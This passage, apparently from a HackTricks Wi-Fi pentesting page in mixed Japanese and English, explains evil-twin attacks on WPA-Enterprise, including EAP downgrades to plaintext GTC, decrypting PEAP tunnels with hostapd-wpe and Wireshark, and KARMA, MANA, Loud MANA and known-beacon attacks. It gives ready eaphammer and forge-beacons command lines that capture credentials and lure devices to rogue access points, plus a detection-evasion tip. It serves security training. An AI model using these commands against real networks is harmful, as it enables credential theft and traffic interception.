これは長い接続時間を避けるためのデフォルトの方法です。ただし、認証方法を最も弱いものから最も強いものへserverに指定することもできます:

--negotiate weakest

Or you could also use:

  • --negotiate gtc-downgrade を使用して、高効率な GTC ダウングレード実装(プレーンテキストパスワード)を利用する
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP を使って提供されるメソッドを手動で指定する(組織と同じ auth メソッドを同じ順序で提示すると、攻撃は検知されにくくなります)。
  • Find more info in the wiki

Using Airgeddon

Airgeddon は事前に生成した certificates を使って WPA/WPA2-Enterprise ネットワークに対して EAP 認証を提供できます。フェイクネットワークは接続プロトコルを EAP-MD5 にダウングレードするため、ユーザーとパスワードの MD5 をキャプチャすることが可能です。後で攻撃者はそのパスワードを crack しようと試みることができます。
Airggedoncontinuous Evil Twin attack (noisy) または only create the Evil Attack until someone connects (smooth) のどちらかを実行するオプションを提供します。

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

Inside the configuration of hostapd-wpe comment the line that contains dh_file (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
これにより hostapd-wpe は DH の代わりに RSA を使用して鍵交換 を行うようになり、サーバのプライベートキーを知っていれば後でトラフィックを decrypt することができます。

Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.

Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, to avoid problems select a key file without being password protected).

And look at the new "Decrypted TLS" tab:

KARMA, MANA, Loud MANA and Known beacons attack

ESSID and MAC black/whitelists

Different types of Media Access Control Filter Lists (MFACLs) and their corresponding modes and effects on the behavior of a rogue Access Point (AP):

  1. MAC-based Whitelist:
  • The rogue AP will respond only to probe requests from devices specified in the whitelist, remaining invisible to all others not listed.
  1. MAC-based Blacklist:
  • The rogue AP will ignore probe requests from devices on the blacklist, effectively making the rogue AP invisible to those specific devices.
  1. SSID-based Whitelist:
  • The rogue AP will respond to probe requests only for specific ESSIDs listed, making it invisible to devices whose Preferred Network Lists (PNLs) do not contain those ESSIDs.
  1. SSID-based Blacklist:
  • The rogue AP will not respond to probe requests for the specific ESSIDs on the blacklist, making it invisible to devices seeking those particular networks.
bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
bash
# example ESSID-based MFACL file
name1
name2
name3

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

この方法は、ネットワークに接続しようとするデバイスからのすべての probe requests に応答する悪意のある access point (AP) を攻撃者が作成できるようにします。
このテクニックは、デバイスが探しているネットワークを模倣することで、デバイスを攻撃者の AP に接続させるように仕向けます。デバイスがこの rogue AP に接続要求を送ると接続が完了し、結果としてデバイスは誤って攻撃者のネットワークに接続してしまいます。

MANA

その後、デバイスは未承諾のネットワーク応答を無視し始め、元の karma attack の有効性が低下しました。しかし、Ian de Villiers と Dominic White によって MANA attack として知られる新しい手法が導入されました。
この手法は、rogue AP がデバイスの broadcast probe requests に応答して、デバイスが以前に保存したネットワーク名(SSID)で応答することにより、デバイスから Preferred Network Lists (PNL) をキャプチャすることを含みます。
この高度な攻撃は、デバイスが既知のネットワークを記憶し優先順位を付ける仕組みを悪用することで、元の karma attack に対する防御を回避します。

MANA attack は、デバイスからの directed と broadcast probe requests の両方を監視することで動作します。directed な要求の場合、デバイスの MAC address と要求されたネットワーク名を記録し、それらの情報をリストに追加します。broadcast な要求を受け取ると、AP はデバイスのリスト上のいずれかのネットワークに一致する情報で応答し、デバイスを rogue AP に接続させます。

bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

Loud MANA

A Loud MANA attack は、デバイスが directed probing を使用しない場合や攻撃者が Preferred Network Lists (PNL) を把握していない場合に用いられる高度な戦略です。これは、同じエリア内のデバイスがその PNL にいくつか共通のネットワーク名を持っている可能性が高い、という原理に基づいて動作します。選択的に応答する代わりに、この攻撃は観測されたすべてのデバイスの統合された PNL に含まれるすべてのネットワーク名 (ESSID) に対して probe responses をブロードキャストします。この広範な手法により、デバイスが見覚えのあるネットワークを認識して rogue Access Point (AP) に接続を試みる確率が高くなります。

bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]

Known Beacon attack

Loud MANA attack が不十分な場合、Known Beacon attack は別のアプローチを提供します。
この手法は、wordlist から生成された潜在的な ESSIDs のリストを順に試し、あらゆるネットワーク名に応答するように AP をシミュレートすることで、接続プロセスをブルートフォースします。
これにより多数のネットワークが存在するかのように偽装され、被害者の PNL 内の ESSID と一致することを期待して、偽の AP への接続試行を誘発します。
この攻撃は、デバイスをより積極的に誘引するために --loud オプションと組み合わせて強化できます。

Eaphammer は、この攻撃をリスト内のすべての ESSIDs を扱う MANA attack として実装しています(--loud と組み合わせて Loud MANA + Known beacons attack を作成することも可能です):

bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]

Known Beacon Burst attack

Known Beacon Burst attack は、rapid-fire broadcasting of beacon frames for each ESSID listed in a file を行う攻撃です。これにより偽ネットワークが密集した環境が作られ、デバイスが rogue AP に接続する可能性が大幅に高まります。特に MANA attack と組み合わせると効果が高くなります。この手法は速度と大量送信を利用して、デバイスのネットワーク選択メカニズムを圧倒します。

bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5

Wi-Fi Direct

Wi-Fi Direct は、従来の無線アクセスポイントを必要とせずに、デバイス同士がWi-Fiを使って直接接続できるプロトコルです。この機能はプリンターやテレビなどのさまざまな IoT デバイスに組み込まれており、デバイス間の直接通信を可能にします。Wi-Fi Direct の顕著な特徴は、接続を管理するために一方のデバイスが group owner(グループオーナー)としてアクセスポイントの役割を担う点です。

Wi-Fi Direct 接続のセキュリティは Wi-Fi Protected Setup (WPS) によって確立され、以下を含む複数の安全なペアリング方法をサポートしています:

  • Push-Button Configuration (PBC)
  • PIN entry
  • Near-Field Communication (NFC)

これらの方法は、特に PIN entry が、従来の Wi-Fi ネットワークにおける WPS と同様の脆弱性を持つため、同様の攻撃対象となり得ます。

EvilDirect Hijacking

EvilDirect Hijacking は Wi-Fi Direct に特有の攻撃です。これは Evil Twin 攻撃の概念を模したもので、Wi-Fi Direct 接続を標的とします。このシナリオでは、攻撃者が正規の group owner を偽装し、デバイスを悪意のある装置へ接続させようとします。この手法は airbase-ng のようなツールを使い、偽装するデバイスの channel、ESSID、MAC address を指定して実行できます:

参考文献

TODO: 次を参照してください: https://github.com/wifiphisher/wifiphisher(FacebookでのログインやキャプティブポータルにおけるWPAの模倣)

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする